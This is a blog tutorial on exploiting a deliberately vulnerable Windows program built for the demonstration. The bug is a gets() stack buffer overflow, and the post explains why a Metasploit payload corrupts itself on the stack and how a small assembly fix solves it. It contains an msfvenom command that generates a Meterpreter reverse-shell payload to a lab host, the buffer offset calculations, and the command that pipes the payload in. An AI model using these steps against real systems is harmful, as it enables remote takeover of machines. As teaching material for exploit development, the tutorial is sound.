Metasploit - Some Assembly Required

metasploit custom assembly
Metasploit is the most prevalent exploit framework in the world today thanks to it's ease of use, support, and scalability. Today we focus on payload generation and how some "assembly" may be required. (Pun Intended)
Filename
ConsoleApplication4.exe
MD5
None
Video

TARGET

Today's target was purposely built to demonstrate a simple stack based buffer overflow. It was compiled with DEP, ASLR, and other protections turned off in Visual Studio 2015. Here is the code:

int main(){
char b[1024];
gets(b);
return 0;
}

As you can see we've created a 1024 byte buffer and are using the insecure GETS method to acquire user input. There is no bounds checking with GETS, therefore, it will take as much input as we give it. This leads to the stack based buffer overflow.


QUICK EXPLOIT CALCULATIONS

This will not be a full tutorial on exploit development, however, to continue with this demonstration we must calculate a few important offsets from the picture below:



Top of Stack: ESP (0x0018FB40)
Bottom Stack: EBP (0x0018FF40)
Return Addr: EBP+4 (0x0018FF44

Our user input will start at ESP and fill up to EBP (1024 bytes) unless we provide more than 1024 bytes of input. Our goal is to provide enough input that we overwrite the Return Address to transfer execution to our Shellcode(user input).

The final Shellcode will follow this formula:

SHELLCODE = Payload + Junk*(0x18FF44-0x18FB40-length(Payload)) + 0x0018FB40 

MSFVENOM PAYLOAD

MSFVENOM is an all-in-one tool that combines msfpayload+msfencode allowing you to generate a payload and encode it all at the same time. The following command was used on Kali Linux to generate a reverse meterpreter payload for a Windows x86 process. The "-b" switch indicates bad characters that we do not want in our payload. These are common characters that cause issues with early string termination, invalid assembly instructions, etc.:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.2.50 LPORT=4444 -b "\x00\x0a\x0d\x1a\x1c\xff" -f python > x.py


PYTHON PAYLOAD

The output from msfvenom was transferred to our windows machine and put into a Python file. We added the calculations mentioned above in the "QUICK CALCULATIONS" section. Note that the "\xeb\xfe" at the top of the script was added by the author to loop the debugger and was not added by msfvenom during payload generation. The code at the bottom of the script is simply calculating how much junk data we need to fill the buffer to reach our intended return address location.



PUTTING IT ALL TOGETHER

Now that we have our Python script put together, we can feed its printed output to our vulnerable ConsoleApplication4.exe through CMD prompt like this:

python x.py | ConsoleApplication4.exe

If everything worked correctly, the program should be "hung" in a loop because of our "EB FE" that we placed at the top of the payload. To verify this, we open a debugger and attach to ConsoleApplication4.exe:



We can see that EIP is stuck in a loop at 0x0018FB40 on the stack. Fantastic. This means that our payload was the correct size and that our junk data "A's" were the correct length to override the return address on the stack as indicated by the 0x41's on the stack in the lower right hand corner of the picture.

Since everything seems to line up, we can remove the EB FE from the top of our payload and run our CMD line again to let the exploit do it's magic.


Well...that sucks.


WHAT WENT WRONG

All the calculations were correct because we gained control of EIP. Surely metasploit's shellcode payload must be correct because it's such a widely used tool and it's code is vetted by countless security professionals. So, what went wrong? 

If we debug our shellcode we come to one of the first calls it performs via JMP LoadLibraryA. When the code returns from LoadLibraryA it will resume execution at ECX indicated in the picture:


Notice what happens to the bytes once we return from LoadLibraryA:


They've changed to invalid assembly instructions, thus causing an irrecoverable exception. Why?


LOCATION, LOCATION, LOCATION 

It is always important to note where your data is located. In our example, we are executing on the stack. When we gain control of EIP, Metasploit's payload does not alter the current ESP or EBP values. Therefore, when it begins to make Windows API calls, the stack is located at the same location of our shellcode. When LoadLibraryA is called, it inadvertently pushes/pops values on/off the stack as needed to perform it's function. Unfortunately, it pushes/pops enough to overwrite our shellcode and cause the irrecoverable exception seen earlier.

METASPLOIT - SOME "ASSEMBLY" REQUIRED

So, how do we fix this? We simply need to write a few lines of assembly to manually set up the stack in a way that prevents subsequent functions from overwriting our shellcode. To do this we need to subtract a value greater than 1024 bytes from the current ESP location and then set EBP to ESP. This moves ESP below our shellcode on the stack and ensures that it will not be altered.


Our final Python file:


Success! You should now have a reverse shell to you Kali machine (if you set up a listener, which we did not do in this article.)

CONCLUSION

So, is Metasploit payload generation unreliable? Nope. Far from it. It is a fantastic tool that allows you to do very cool things with little effort. It is the defacto framework for noobies and professionals alike. However, it is very important, no matter what tool you are using, to understand what it is doing and how it is doing it. Knowing both of these things allows you to tailor the tool to your needs and this is what separates the script kiddies from the hackers. Happy Hunting.